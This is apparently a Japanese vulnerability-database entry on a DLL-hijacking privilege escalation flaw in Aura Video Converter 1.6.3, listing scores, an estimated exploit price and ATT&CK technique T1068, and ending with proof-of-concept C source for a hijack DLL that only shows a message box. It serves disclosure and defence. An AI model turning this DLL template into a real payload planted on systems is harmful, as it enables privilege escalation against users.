Aura Video Converter 1.6.3 Library 特権昇格

履歴差分リンクするjsonxmlCTI

CVSS 一時的なメタスコア	現在のエクスプロイト価格 (≈)	CTI注目指数
4.8	$0-$5k	0.00

要約情報

現在、Aura Video Converter 1.6.3にて、問題があると分類される脆弱性が確認されています。この問題により影響を受けるのは、コンポーネント【Library Handler】の未知の機能です。この操作は、特権昇格を引き起こします。さらに、攻撃手法が利用可能です。

現在、Aura Video Converter 1.6.3にて、問題があると分類される脆弱性が確認されています。この問題により影響を受けるのは、コンポーネント【Library Handler】の未知の機能です。この操作は、特権昇格を引き起こします。問題をCWEで宣言すると、CWE-269 になります。この脆弱性は 2016年10月04日に ZwXより「ウェブサイト」の勧告にて「VL-ID 1965」として紹介されました。アドバイザリーは vulnerability-lab.com にてダウンロード用に公開されています。

技術的な情報は提供されていません。この脆弱性の一般的な利用度は平均を下回っています。さらに、攻撃手法が利用可能です。このエクスプロイトは一般に公開されており、利用される恐れがあります。現時点で、脆弱性の構成から考えられる取引価格帯を約$0-$5k米ドルと算出しました。 MITRE ATT&CKプロジェクトは、この問題に対して攻撃手法 T1068 を使用しました。

このエクスプロイトツールは概念実証として宣言されています。 vulnerability-lab.comでエクスプロイトが共有されています。 0-dayの際、アンダーグラウンド市場での想定価格は$0-$5k前後でした。エクスプロイトのソースコードは以下です：

#include <windows.h>
#define DllExport __declspec (dllexport)
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}
int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}